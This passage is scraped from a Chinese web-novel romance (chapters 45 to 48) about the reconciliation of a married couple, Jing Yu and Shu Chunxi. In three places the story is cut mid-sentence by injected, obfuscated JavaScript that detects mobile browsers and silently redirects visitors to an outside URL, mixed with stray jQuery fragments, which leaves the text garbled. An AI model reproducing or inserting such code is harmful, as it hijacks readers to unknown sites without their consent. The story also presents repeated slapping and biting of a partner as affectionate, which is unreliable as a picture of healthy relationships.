舒纯熙一般在主楼里,穿的都是家用的平底拖鞋,但今天却踩了一双银色高跟鞋,身上的则是一件收腰长款风衣,头发卷了,涂了口红。 刚刚说话时,郑徽好像还闻到她身上喷的香水味,男人回头看了一眼那身影,总觉得哪里有点古怪。 敬渝坐在椅子上面,想事情想地陷进去时,以为是郑徽失而复返,但推开门进来的却是舒纯熙。 这还是她回来之后,第一次主动踏进他的书房。 敬渝有些不知所措,连忙从椅子上站起来,根本顾不上计较舒纯熙没有敲门就进来的举动,反而是目光在书房里四下一扫,觉得书房现在好像有点乱。 “你怎么来了?我刚准备回房呢。” 敬渝去迎舒纯熙,绕到她身前去牵她的手。 她今晚有些不同寻常,好像特意打扮过。 “纯熙,你今晚,很漂亮。” 想了想,敬渝觉得自己要把这句话告诉她。 果然,听见他说的话后,女人的脸泛起了红,垂着眼有点害羞地避开他目光,只不过摆开他牵自己的手,从男人垂在身侧的臂弯里穿过,在他身后收紧。 女人将自己的身体贴向他,感受得到男人的手也放在自己腰背后,顺势揽住了他。 “你怎么这么晚才回来?” 语调里有些委屈巴巴,似乎在控诉他的晚归。 敬渝有点愧疚,即使打电话告诉她自己晚上有饭局,但是没能按时回来陪伴她,确实是自己的错。 “抱歉纯熙,我,” 拧着眉正想解释,怀里的女人已经仰起头,在他洁白的衬衫上印了一个唇印。 男人的话不知道该不该再说了,那只是印在贴着胸膛的坚实面料上的一个吻,已经叫他心猿意马,抱着她腰身的手有点紧绷起来。 舒纯熙无声勾了下唇,收回自己的手,撑在敬渝的双臂上,踮脚往上亲,每隔上一点距离,就用自己的唇脂在敬渝的身体表面印下一个吻痕。 起先是那件白得晃眼的衬衫,然后到了他皮肤裸露的地方,喉咙下面的皮肤,在后面,就是他的喉结。 舒纯熙的唇瓣按上去的同时,男人抑制不住地滑动着喉结,与她的双唇亲密相贴的同时仿若波浪般共舞几息。 心跳怦然,双拳攥紧,男人的呼吸急促起来。 女人的唇则继续向上,在他下巴底下伸舌舔了一下,感受到男人周身的僵硬和抖动后,最后将自己的唇印印在敬渝紧闭的双唇上。 小小的一枚唇印,盖不完他的两片唇瓣,但染上一点鲜红的颜色,竟然让敬渝看上去有种被蹂躏的美感。 清润淡漠的面颊上也破天荒染上红尘颜色。 毫无疑问,禁锢着自己腰身的双臂滚烫炙热,昭示着他已没打算让她抽身。 男人眼底染上欲色,仿佛泛着火光,低头与她额头相处,用浊重的声音低低地叫她的名字。 “纯熙。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522294|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>舒纯熙“唔”了一声,说: “去沙发那边。” 敬渝于是便带着她去了沙发,只是到了跟前,女人忽然间拨开他的手,示意他先坐下。 屏住呼吸的男人眉心暗跳,听话地坐在长沙发的一边。 而站在跟前的女人平地脱下那双高跟鞋,光着脚踩着地毯朝他走了过来,俯下身,扶着他双肩坐在他身上。 敬渝对她这样的坐姿简直已经不陌生了,呼吸不争气地紊乱起来,目光不敢再朝她望过去,嚅动了一下唇,低低地问: “纯熙,你今天晚上有点不一样,你……” 舒纯熙狡黠地笑了一下,伸手捏住敬渝的下巴,将他的头扭过来跟自己好好地对视,妩媚地说: “确实不一样。” 她松开捏他下巴的手,又去捉他的手腕,将他僵硬无比的手抬起来,放在自己的风衣纽扣上面,示意他来帮自己解开。 舒纯熙身上的这件风衣有左右两排纽扣,中间还有一条系得很紧的系带,敬渝上手解扣子的动作甚至有点哆嗦,重复了两三次才把那颗扣子解开。 眼眸垂下,男人在心里暗骂自己不争气,抿着唇又解了几颗扣子,然后手又被舒纯熙拉着将那条腰带给扯开。 腰带向后,由两条挂带揽着,松松地搭在风衣后面。 舒纯熙压着身子凑在敬渝耳畔,大大方方地亲了一口,然后告诉他: “我洗完澡下来的。风衣里面什么都没穿,上面,下面,都没有,敬渝哥哥。” 闻言,敬渝有些紧张地将手从她风衣上收回来,欲盖弥彰地将她的外套衣领又仔细拢了拢,防止漏出什么他不该看的来。 舒纯熙的话有些太露骨了,他还是不能适应,甚至害怕这又只是一场恼人的美梦。 他们的关系刚刚修复,并不是发生亲密关系的好时候。 甚至昨天晚上他还刻意把起床的闹钟给关了,是有意陪舒纯熙睡到她醒的。 因为昨晚两个人刚刚把话说开,他不想她早上醒来的时候,自己已经走了,并没有守在她身边。 敬渝心中有点疑惑,但那声“敬渝哥哥”还是打消了他的顾虑。 深呼吸了一口气,敬渝有些紧张地望着身上的舒纯熙,磕巴地说: “要不,还是回房里?我,我还没有洗过澡……” 舒纯熙倚在他胸膛上,摸了摸他的脸颊,说: “没关系的,今天小姨来家里了,她让我赶紧给你生个孩子,我答应了的。所以你不用准备,我准备好了就行。大哥,纯熙没有怀敬亭的孩子,你就别生气了,纯熙怀你的孩子好不好?” 敬渝耳边的嗡鸣声在听到这两句话后终于缓缓褪去,他闭了闭眼,强迫自己心跳平静下来。 “纯熙,你不用这样的,小姨的话你全然不需要理会,你不舒服可以直接跟我说,我来处理……” 敬渝还没有说完,舒纯熙就疑惑地点点他的眉心,忽然又问: “那你不想要我吗?” 男人苦笑着摇了摇头,还没来得及张开口说话,就见眼前的女人露出一种哀怨的神情,垂下头悲苦地说: “那你就是嫌弃我,觉得我这具身体被你的堂弟同样凿开过,觉得如今的我配不上你敬家高贵的门楣,觉得我不配给你敬渝生孩子?” 敬渝知道她现在说的每一句话都言不由衷,他想叫她不要这样,可听到这些话,还是忍不住要替她生闷气,止不住要把她这些胡言乱语的问题都给解答完,把她脑子里面那些胡思乱想都给抹去。 他望着她,伸手攥住她要脱衣服的手,转而将她风衣上的扣子一个一个再度扣好,郑重地告诉她: “我为什么要嫌弃你?如果我嫌弃你,还要娶你,我算什么男人? “你和敬亭的事……没关系,你们有过的,我们两个也会有的,我会把他给你的记忆全部都覆盖掉,让你以后只记得和我的欢愉,再也想不起他来,好不好? “我等你这么久,才等到你愿意回头再给我一次机会,你说什么配不配的,不是叫我无地自容吗? “至于孩子,不是你给我生,如果我们有孩子,那是我们共同孕育一个孩子,你不要用这样的词说我们以后可能会有的孩子,好不好?” 舒纯熙静了,被他的话说得沉默了下去,鼻子一酸,然后“啪嗒啪嗒”地开始掉眼泪。 敬渝连忙伸出手去替她擦眼泪,软着声音哄道: “都是我错,一定是我没做好,今天小姨来家里跟你说了不好的话对不对,纯熙不要生气了,怨我就怨我,我马上去处理好不好?” 舒纯熙号啕起来,摆开他的手给了他一巴掌,怒吼道: “反正你娶我是要给敬亭的孩子做爸爸,我又没有怀孕,你的算盘都落空了,你跟我离婚啊,有本事你跟我离婚!……” 敬渝心想怎么又说到这一茬了,咬着牙连忙澄清道: “我哪里是这样,你怀孕了我要给孩子做爸爸,你要是没有怀孕,我早就要跟你结婚,给你做老公了,明不明白?” 哭着的女人不管不顾地捶打着他,恨恨地扇了男人几巴掌,将他的双颊扇得青红。 敬渝哪里顾得上这个,甚至左右脸配合的朝她扇自己的方向转过去,让她扇得省力,扇得尽兴。 好容易停下来,就把舒纯熙揽进怀里护好,双腿有规律地颠着,哄起怀里的炸毛小猫来,急得就像热锅里的蚂蚁。 怀里的人还在哭,张开嘴又咬在他肩膀上。 敬渝闷哼一声,单手将人抱起来,女人就跟一只八爪鱼一样趴在身上,带着她往书桌旁走,然后把自己的手机拿过来,再回到沙发旁坐下去。 女人在身上哭闹着,敬渝一边抱着抚哄,一边赶紧从手机通讯录里面找到柳叔的电话拨出去。 没多久对面接起来,敬渝忍着舒纯熙的啮咬,冲着电话那头沉声说道: “柳叔你把我小姨所有的车牌号都给统计出来,以后没有问过我,不许他们家的车开进来,不许放他们进家里!” 打完柳叔的电话,敬渝眼皮子直跳,偏过头亲亲舒纯熙的发顶,安抚似的摸了摸她的脊背,然后又拨通小姨的电话,还打开免提放在手边。 然后郑召雅大晚上的接到敬渝的电话,听到的就是好外甥异常严肃的声音,那边还伴随着女人的呜咽声,鬼知道电话那头他们在干嘛。 “小姨,您的好意我实在心领了,但是我跟纯熙的事情,还有我感情上的私事,一概不要您插手。 “您要是再来找我老婆的麻烦,到时候她被气走了不跟我过了,您外甥我可就只能打一辈子的光棍了!” 听到敬渝劈头盖脸的一顿骂,郑召雅委屈得不行,心说我不是去劝她给你早点生个孩子嘛,这也做错了? 但还没来得及开口给自己辩解什么,电话那头就传来女人更大声的哭闹号啕,隐约还听见什么“敬渝你这个王八蛋,敢找你小姨来教训我,我打死你算了”。 郑召雅心惊肉跳的,屏息听了一下,那头好像真的还传来几声清脆的巴掌声,还有外甥那隐忍的闷哼。 我的老天! 郑召雅在心中哀嚎一句,心道我就说那女人是个不得了的,感情这是跟自己耀武扬威呢! 虽然这么说,但郑召雅到底老老实实地把电话给挂了。 舒纯熙这边没消气,又一连打了敬渝十几个巴掌,凑上去咬他的脸颊。 男人无奈地抱住怀里攻击力一点都不弱的女人,心想这倒确实像是一只被惹急了的猫。 不过她跟自己闹也好,至少还有个能出气的口,总比以前那样不言不语来得好。 敬渝抚摸着舒纯熙的脊背,扯着嘴角低笑道: “你再咬,我就真的见不得人了,纯熙。” 舒纯熙大叫一声,从他身上起来,拽着他的衣领瞪着他。 “你混蛋,我气死了,我都要被你们这些人给欺负死了!” 敬渝心知她说的其实是实话,如果自己不让着她任凭她出气,她还不知道该有多少委屈要自己默默地咽呢。 想着,心里面愈发泛起难以抑制的心痛来。 男人面上不敢将这点心疼给显露出来,只是把女人松开,然后去抓她腰上的系带,将它重新系了个蝴蝶结。 做完这一切后,他才双手扶住舒纯熙的肩,认真郑重地对她说: “纯熙,我对不起你的地方,你尽情拿我出气,都是我应该受的。但是,你以后不要拿今天这种事情来开玩笑好吗,也不要再说这种话。” 他泄了气,有点委屈地摸了摸她的脑袋,然后说: “我不要你用那种话羞辱你自己,我知道你只是太生气了对吗?说这种话,我固然会难受,但你也不会多高兴的,对不对?下次你要是生气了,就直接罚我出气好了,不需要再这样说自己。” 他呢喃了一句,将人揽进自己怀里,眷恋地说: “纯熙,我视你如珍似宝,你在我心里,是这个世界对我最重要的人,是我不可或缺的宝贝。 “我当然想要你,想要你毫无保留地接纳我,想我们能拥有这世上最亲密的体验,但它不应该发生在任何一个负气赌气的场景里。再给我一点时间,我会让你心甘情愿的,我们一起等那一天来,好不好?” 46. 第 46 章 第四十六章、 舒纯熙被他这一通郑重严肃的表情达意给弄得只能偃旗息鼓,面上还是瞪着男人的脸,伸手一抹自己脸上的泪,恨恨地反驳了一句: “你就知道说教,就知道教训我!都是我错!……” 说完,她又冷不丁伸手把敬渝一推,直接从他身上下来,走回自己的鞋边上,两下穿好,踩着“哒哒”的步子就走到门边,“嘭通”一声打开书房门,负气走了。 敬渝留在原地,先是伸手摸了摸自己左脸上的牙印,然后再拿起一旁的手机站起来,追着上了楼。 率先离开的女人穿着高跟鞋,就只能走小碎步,一前一后的功夫,她打开卧室的房门后,步子迈得更大的男人也已经到了房门外面。 女人没管身后的男人,把门留给他去关。 走到床边的舒纯熙只觉得自己的一呼一吸里都带着十分的不顺心,抬起手把风衣腰带抽开,再两下把扣子给解干净,脱下来反手扔到了身后人的脸上。 被有些重量的风衣猛地一砸,呼吸一滞的同时,男人只来得及抬起双臂将衣服握在掌中。 身前不远处的女人露出里面穿着的淡黄色吊带和短裤,是一套适合盛夏穿的丝绸睡衣,手脚并用像只小猫一样,三两下从床尾爬到床上,掀开被子钻了进去。 敬渝缓缓地从眼前的境况里反应过来,那在眼里一闪而过的黄色衣角抚在心头,将那一点点不敢翻涌上来的恼意也给抚平了。 男人的唇角放松下去,将那件风衣拿下来从中间叠好,掷在沙发上,走到舒纯熙平时睡的那边床畔。 衬衫袖口解开挽在小臂上,西装裤腿修长平整,男人的身躯朝着被子里面缩成一只小虾米模样的女人靠近,伸手连着被子一起,将她的腰揽在自己怀里,将自己从后面贴在了她的后背上面。 舒纯熙皱着眉,还没发出点声音,耳边就响起来带着点低笑的男声,淡淡地说: “原来纯熙是耍我啊,小骗子。” 那尾音的一个“啊”字拖得老长,余音绕梁一般在女人的耳朵绕来绕去,她想听不出来什么都难。 在敬渝怀里转过身来,舒纯熙转着黑溜溜的眼睛,盯着男人,飞快地说: “不然呢,你还想要我下多大的本呐!” 敬渝哑然失笑,底下的那只大掌抬起来,温柔地摸了摸怀中人的发丝,然后凑上去在她耳朵上飞快地亲了一口。 耳畔传来的声音好像骤然加大,还不等舒纯熙反应过来,那人已经又躺了回去,只是右臂压在枕头上探过去,捏着她的一缕杂发轻巧地拨弄着。 好像刚刚那种大胆的举动根本就不是他做出来的一样,但舒纯熙还是能感受得到,眼前这个人的心情已经阴雨转晴,透着颇为轻松愉悦的氛围。 她翻了个白眼,搁在被子里的手,隔着面料的隔挡,不轻不重地推了他一把。 敬渝当然不恼,凑近些把人连着被子都抱在自己的怀里,像是在抱一只蚕蛹,平静地说: “纯熙,对不起,我不知道今天小姨会来家里,她还跟你说什么了吗?” “她说我是狐狸精,把你跟敬亭都迷得失了心智。” 说完,舒纯熙不满地踢动了一下小腿,目光含怒地望着男人,等他的反应。 敬渝听在耳边,很快就联想到不久前才得知的那桩事,心里又萦绕上浓烈的不适感,只不过他不能让这样的情绪被舒纯熙察觉,很快凑过去亲了亲她的眼睛。 他一靠近,舒纯熙便只能闭上眼皮子,好让他的唇瓣落在自己的眼皮上,闭上了眼睛,自然也就看不到敬渝眼底那种复杂的情绪。 “因为纯熙很好很好,所以才会被倾慕。” 男人带着安抚的温润声音响在耳边,停顿了一下,慢条斯理地说了句: “小姨的话,你不要当真。我看小姨她自己当寡妇当疯了,看不得我们两个感情好。” 敬渝的这句话说完,舒纯熙一时之间都找不出来什么话来回答或者应和,只是忽然睁开眼睛,用一种像看什么新奇事物的表情盯着敬渝的脸。 男人脸上的红还未消下,或许今夜都不能恢复了,原本一张淡漠清隽的玉面上布上薄红,两片薄薄的唇瓣上还沾着舒纯熙先前留在他嘴上的口红颜色,随着说话的动作轻轻地翕动着,有种别样的美感。 舒纯熙望着望着,忽然也就没怎么气了,挣开他的怀抱从床上坐起来,伸手用指尖触了触他的一边面颊上自己的齿印。 在听到“嘶”的一声轻哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舒纯熙想象了一下别人看见他脸上的牙印的表情,就觉得鸡皮疙瘩都要起来了。 有点后悔的揪住两根食指,扭在一起,站了好一会儿,才把衣兜里的一个优盘拿出来,放在身前的书桌上。 “这个给你,是爸爸给我的,你看看能不能用得上。” 47. 第 47 章 第四十七章、 男人的目光落在不远处的那个优盘上,沉默地望了几息之后,才探身将优盘拿起来握在自己的手上,又靠回椅背上,把右手边的抽屉打开,将手里的东西稳当地放进去。 “好,我会看的。” 做好这一系列动作后,敬渝再朝舒纯熙伸出手,示意她也把手伸出来。 就这样,女人的手搭上去,两个人的手掌交握在一处。 而后他用另一只手转动了一下玻璃杯的背身,似乎是想好了,才忽然提道: “你今天中午在家都吃了什么?” “红烧带鱼,冒烤鸭,夫妻肺片,还有小龙虾……” 女人盯着书房上半部分的空气,眼珠顺势转动着,很认真地回忆了一下自己的午餐。 吸溜吸溜。 而问话的人一听到这些菜名,一整张脸就好像隐约发痛了起来,撇撇嘴说: “那这些菜我都吃不了,今天我去看医生了,他让我保持清淡饮食,说这样才能好得快点。” 闻言,舒纯熙的嘴干巴巴地张了张,最后合上了,顺着他的话将他的脸又给好好看了一遍。 男人也在此时垂下眼睑,半闭着眼,收回手遮挡住自己落在她视线里的那半张脸,双唇抿着,看上去竟然很有几分落寞又委屈的样子,悄声说: “纯熙别再看我现在的样子……不好看了。” 站在他身旁的女人垂着头,目光却并未从他的身上移开,只是将自己的两手揪在一起,心里天人交战了起来,最后,说: “那,那我以后尽量控制,就、就不咬你脸了。” 她想着,像是签休战条款那样,挑挑拣拣好一会儿,最后才给出来这么一个条件。 眼底下的男人并没有因为这话儿有什么反应,依旧僵在原地,温温柔柔地反驳了一句,说: “没关系,纯熙想怎样对我都可以,我只是……只是怕你觉得我碍眼。” “不碍眼,你还是很好看的。” 舒纯熙咬了咬牙,心一横,凑过去将那杯牛奶拿起来塞到他手心里面,语气有点发虚地说: “你赶紧把牛奶喝了吧,能好得快点。” 这下,敬渝没再推辞,“嗯”了一声后,拿起牛奶一饮而尽,再接过旁边人带着点殷勤递过来的纸巾,就着擦嘴的功夫,按下了自己隐约勾起来的唇角。 “你每天在家都做些什么,会不会觉得无聊?” 放下杯子,男人伸手顺势一揽,将已离自己很近的人带到腿上,让她面对着自己坐着。 “商会明天有个手工类的体验活动,你想不想去参加?” 说完,敬渝还动了下身体,探身将桌子上的一张传单拿过来递给她,这是他今天特意拿回来带给她的,其实是底下一个慈善类型机构举行的,他之前让郑徽替自己留过心。 怀里的女人好像并不怎么感兴趣,拿过来随便扫了一眼,捏在手上,然后向前埋进他的胸膛,并不答话。 敬渝张开臂弯方便她搂着自己,两具身体紧紧相贴之后,才偏头去她耳边低低地问: “怎么了,不想去就不去,我只是怕你在家待得无聊了。” “我是无聊。” 最近因为敬渝的原因,她的入睡时间也没有那么晚了,每天早上醒来的时间也就提前了不少,那些娱乐活动却翻来覆去也就那么些,她待在家里好像是会闷。 有点无语地从鼻子里哼出一口短气,舒纯熙默默地说: “我想要你陪。” 敬渝愣怔了一下,才缓缓哑然失笑,唇角轻轻勾起,拍了拍怀里的人,说: “那我明天抽出时间来,陪你一起去参加好不好?” 不是这样的。 那上面的手工织机活动,明显就是一种艺术疗愈类的活动,不论是从做手工的角度,还是从什么其他地方,都不是以前敬渝会陪她一起参加的。 既然如此,他又为什么要陪自己一起去参加。 她要的也不是这样的陪伴。 舒纯熙不言不语,只是闷声将双手擦过他与椅背之间,牢牢抱紧了男人的腰身,一丝一毫都不愿放开。 没等敬渝琢磨明白妻子到底是什么意思,书房的门从外面被敲响,郑徽在外面出了声。 怀里的人窝着一动不动,那两只手好像还把自己身上的衬衫给拽得更紧了。 敬渝只好伸手揉了揉舒纯熙的头,温柔地哄道: “我先处理下工作,你不想回去的话,就在这里待着陪我好了,你先过去沙发那边坐吧,好不好?” 怀里的女人依旧没有动弹,敬渝应了外面的郑徽一声“稍等”,将贴在自己胸膛上的那颗脑袋轻柔地抬起来,看见一张沉下来的脸,满脸写着不高兴。 “怎么了嘛,我的大小姐?” 语调微扬,男人用指尖抚了抚那皱在一块儿的眉毛,扯着嘴角冲她有点无奈地笑。 舒纯熙叹了一口气,抬起眼皮子看他一眼,然后倾身亲了一下他的嘴唇,默不作声地从敬渝身上下来,背过身挪动到沙发上坐了下去。 看着那个慢吞吞动作的背影在单人沙发上坐下来,留给他一个侧身后,敬渝才收回了目光,让郑徽进来。 很快门打开,郑徽走进来后才发觉舒纯熙也在书房,打了声招呼,然后把手里的文件拿出来给敬渝,说了几件工作上的事。 这些事都说完,站在书桌前的郑徽才压低了些声音,又语焉不详地说了句什么。 敬渝面上不显,做了个手势,不动声色地站起来,示意他跟自己出去说。 两个人走到走廊上,进了中间的竹庭里,听着飒飒的竹响,郑徽才将最新的进展汇报给敬渝。 对面的人一时间没有答话,沉思着什么。 “敬总,其实我还是觉得,舒省不可能什么证据都没留给太太吧?以前太太出于谨慎不愿意给我们,现在,” 郑徽想到刚刚在书房坐着的女人,又联想起这几天两人明显改善的关系,还是开口主动提起来,问道: “你向她要的话,她应该愿意给吧?” 敬渝扫了眼郑徽,晦暗的眸光收回来,落在地面上的某处竹影,说: “用不上的。” 男人垂首,压着喉咙中的一口气未曾叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553090|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,目光晦涩幽暗地静立在一片阴影下,声音若有似无。 一阵风吹过,将他的一点点声息拂得更轻了。 郑徽望着,便也只能闭上嘴,有些颓然地放下双肩,跟他各执一方,安静地站着。 “行了,不早了,回去吧。” 敬渝抬头看了眼天,主动说了句,然后转身回了书房。 . 舒纯熙百无聊赖,迷迷糊糊地闭着眼,感到一个热源朝自己靠过来,然后她的身体就到了一个臂弯里,而后腾空,被抱着上了楼,回到房里。 应该是敬渝终于谈完事情了。 女人心里有了猜想,没有再睁开眼去确认是不是他回来了,只是将心舒展开来,安稳地缩在床垫上。 过了又一会儿,床那头另一个人也躺下来了。 她转了个身,朝那人的腰间拥过去,找了个舒服的姿势,终于放心地再次睡过去。 这一抱,一直抱到了第二天清晨。 苏醒后的敬渝,只觉得自己的侧腰被硌得有些不适,仔细一想,又觉得舒纯熙被自己压着的那只手臂应该会更不好受。 “纯熙,你先松开我,让我起来。” 男人原本清润的声音此时有些沙哑,夹杂在一起有种别样的韵味,响在舒纯熙的头顶,微一推拒她搭在腰腹上的那只手, “你的手得麻了。” 身侧的那颗小脑袋动了下,反而朝他贴得更近,瓮声瓮气地说: “不要。” 敬渝意欲撑床坐起身的动作顿了,被她软绵绵地抱着,也只好又睡回去,想先把她垫在底下的那只手臂给拿起来。 但胸前的人动作里带着明显的不配合,他也只得作罢。 “手不麻么?” 空出手抚了抚舒纯熙的头发,敬渝柔声哄道: “先放开我好不好?我得起床去上班啊。” “不要,” 她还是那句话,将整个身子都容进他的臂弯了,抱着牢牢不松手, “……不许去。” 被抱着的人无可奈何地轻笑了一声,只好纵容她抱着自己。 “那我先帮你把手抬起来好不好,抱了一晚上,一定很麻了。” 还是一句“我不要”,仿佛她一松开手,自己就会在她眼皮子底下跑掉一样。 敬渝难得又体味到什么叫做“甜蜜的负担”了,眉眼弯弯,也拥了回去,小声说: “那我们一起起床,一起去公司,我下午抽两个小时陪你去参加活动,这样好不好?” 怀里的那颗脑袋还是摇了摇,声音里竟然听得出来点委屈。 “我不要,你不许走,就在家陪我。” 低笑了一下,敬渝昂头在脑子里过了一遍今天要做的事,最后还是磨不过寸步不让的怀里人,纵容地说: “行,我不去,我陪你。” 怀里的人这才消停,将手松开了些。 男人于是将她的那只手给抬起来,看她这才龇牙咧嘴起来,哭闹着说手麻得难受。 敬渝又是按摩又是安抚,两人在床上消磨了好一会儿,才得以起床。 48. 第 48 章 第四十八章、 此后几天,舒纯熙对敬渝几乎到了寸步不离的地步。 如果说先前的她像是一只高傲的猫,只有在偶尔的特殊时刻才会露出内心柔软依赖的那一面的话,最近的她就像是进入了烦躁的分离期一样。 并非是时时展露出一种黏着他的样子,只是在两人亲近的时候,不再掩饰心里的想法,紧紧地妥帖地拥抱在他的怀里面。 每当这时候,她也会眉目忧愁地发号些施令,要他抱抱自己,要他亲亲自己,还要他说“我爱你”,要他早早归来,要他哄着她入睡。 敬渝无所不应,虽然心里的隐约欣喜跟受宠若惊夹杂在一块儿有点矛盾,但他还是尽量在最大范畴里空出自己的时间来,满足舒纯熙的要求。 从前,他总希望两个人能消除隔阂,不再像陌生人一般疏离,为此他做了很多努力,也在心里暗暗地希冀过不知多少回。 现在,这种宛若新婚蜜恋的情景降临在自己跟前,他只觉得一颗心都要融化了,但还是要好好捧给妻子看。 这段时间,对于自己“丈夫”与舒纯熙“妻子”的身份,他适应得已经颇为自然了,料想她亦是同样。 就连自己的脸,休养的这好几天也终于恢复如初,大概因为自己心情愉悦和照料妥当,也没有留下疤痕。 只唯有一点,暂时推后的工作可以过几天再做,但他却不能一直拖着不去公司。 他想过在书房做事,但妻子显然更喜欢窝在他的怀里,也提出过带舒纯熙一起去公司,可面临的不过是跟在家里书房处理工作一样的难题。 当然,她也并非是不讲道理的。 郑徽进到书房来时,她会去沙发坐着,他不得不出门时,她也会不舍地松手将他放开。 只那耷拉下的眼皮里,掩盖了她哀怨的愁绪。 每一次分开,她都像再次走进冰雪天地里,将自己闷在那种气氛里,长久地保持着缄默,明明白白地表示着,她会这样都是自己与她的分离导致的。 待他归来,是会再次靠近,是会轻声哄她,是会将她逗笑。 但敬渝心里逐渐明白起了她的那种感受,甚至不忍心再这样下去,不忍让她看着自己的背影终将离去。 不过几天时间,敬渝觉得自己也陷入了一种很奇怪的情绪怪圈里面。 他终于在一种蜜糖糊了般的美好梦境里琢磨出一件事来。 那就是即使两年前他们两个结婚,感情真正如胶似漆的样子,也并不会是如今的光景。 有好几次,他都欲言又止,想问明白舒纯熙她这是怎么了。 但她什么都不会说,只是偏过头巴巴地吮他的一片唇瓣。 敬渝无法,也只能回应她以自己更有力坚实的拥抱。 两个人除去心照不宣地避开那最后一件事,几乎已经同寻常夫妻没有了区别。 也不知道是在日久天长之中终于靠近了彼此,亦或是执着地去追寻那段年少绮梦的代偿。 说是一段时间,但其实也不过是短短四五天,只是这几天里敬渝自己的思绪百转千回,丰富地如同绕着地平线翻了好几圈,心中始终萦绕着一股淡淡的带着不安宁气氛的预感。 这天上午,因为妻子的埋怨,他上午没有出门去公司,而是在午后将她哄睡后,才穿戴整齐试图趁这个空当回一趟公司。 敬渝的步子堪堪迈到客厅,正朝大门走过去的时候,身后就传来一阵急促的拖鞋脚步声,应当是有人下楼的动静。 心中暗暗一跳,男人连忙转身朝着楼梯的方向看去,只见方才刚刚睡下去没多久的女人神色焦虑地朝自己追过来。 她还穿着午睡时候的睡裙,连外面披的睡袍也只是胡乱穿上,领子袒向一边恰露出小巧的锁骨,几缕发丝凌乱地搭在面上。 不过敬渝呼吸几次的功夫,女人已经到了跟前扑进他的怀里。 柔软的身躯贴着他有些坚硬冰冷的西装面料。 “你去哪儿?不许走。” 她抛出一个问题,但压根不想听回答,很快又给出她的指令。 身后门后的郑徽和两旁的佣人早避嫌地将眼睛转向别处去了。 敬渝束手无策,无奈地抚摸着怀里人的脖颈,不明白她为何总是将自己出门去的事情当做生离死别一般看待,露出这种凄然的样子。 “我去公司,加上路上的时间,就去四五个小时,然后就回来了。有些事我必须得去处理,纯熙乖,先回去睡觉好不好?” “不要。” 女人闷声,抬起头来就去解他的领带。 男人不可抑制地仰头,避得开她的视线却躲不了她的动作,任她将自己打好的领带扯得乱七八糟。 “宝宝……” 敬渝低声哄了句,笑了下,带着点讨好意味,祈求她在外人面前多少也给自己留点面子。 “我真的要走了,约了省司的领导,不好迟到让人家久等啊。” 他难得透了点真话,试图说服舒纯熙,约了省司的人,自然是为了她舒家的事。 而舒纯熙也只是停顿了一下,总算将他的领带拽开,拿下来攥在自己手里,好像没了这东西他就不能出门了一样。 “你是不是嫌我烦了?” 她垂下头,静默之后突然问了一句。 敬渝凝着她留给自己的发顶,胸膛里激荡着一种涩然不定的情绪,拥住她,轻声说: “没有,我怎么会嫌你烦呢,不会的。” “那你今天会不会见到别的女人,觉得她们比我好,比我优秀还比我讲道理,比我漂亮,然后不回来了?” 心里闷住了,敬渝又想起来自己那个混蛋堂弟,拉开胸前趴着的人,扯了扯衣领,俯下身去吻她,将她的唇细细亲过一遍,碍着不能发出声响的缘故,并未深入。 揉了揉她的耳边,压着声音用只有她一个人听得到的声音说: “怎么会?我老婆就是那个最好的最漂亮的,最优秀还最跟我讲道理的好宝宝。我见到别的女人都不会多看的,因为我要早点回来陪我自己的老婆。” “我怎么知道你说的是真是假?” 冷哼一声,女人好歹松开了他,不知道想起了什么,伸手抹了下眼睛。 “我说的当然是真的,你回去好好睡一觉,然后我就已经回来了。” 敬渝抿起唇,柔声对她说: “过几天我们还要去首都参加祝司长的葬礼呢,你忘了?等回来的时候,我就申请让伯父伯母出狱监禁,把他们接出来,所以我才要出门去见省司的人,你乖乖在家等我,好不好?” 一声抽泣在两人之间响起来,她主动退后了一步。 敬渝心知时间不能够再耽搁,狠下心来再亲了亲她的额头,也没顾被她扯走的领带,转过身出了门。 这是一个寻常的下午,只不过跟妻子分别花了点时间跟功夫,但已足够使敬渝酸涩起来的心始终不能够平复了。 他坐在车上,想着省司附近有什么名点可以带回去给她吃。 自打选好了一家甜品店后,男人心下稍定,到了省政司办公大楼后,也就专注谈起了事情。 半个多小时候,敬渝从办公室出来,本来应该还要去公司走一趟的,但想起来先前答应等在家里的人的话,知道不该再在外面逗留,便去那家店里排队,打算买完就回家。 盛夏时节的昼米尔市,骄阳如同火球炙烤着大地,外面排队的人并不算多,但只是一会儿功夫,身穿整套西服的男人还是起了一层薄汗。 选品时他看到游之翎从远处朝自己走了过来,但他无暇分心,认真地指了指展示柜里的几样糕点,示意人家各包上半斤。 待提了大包小包从队伍里转过身来,敬渝才望见游之翎不好的神情,而近旁的郑徽亦是一样。 男人敛了眸,一行人先朝路边停着的车走过去,待到放下手里的东西坐上车,才示意身旁的人开口。 “敬总,支宁方死了!” 游之翎虽然平时吊儿郎当,但情绪这么激动的时候,还是不多见。 闻言的男人手上擦拭的动作一顿,心中也很快升起了一种不可置信的情绪来。 “怎么死的,发生什么事?” 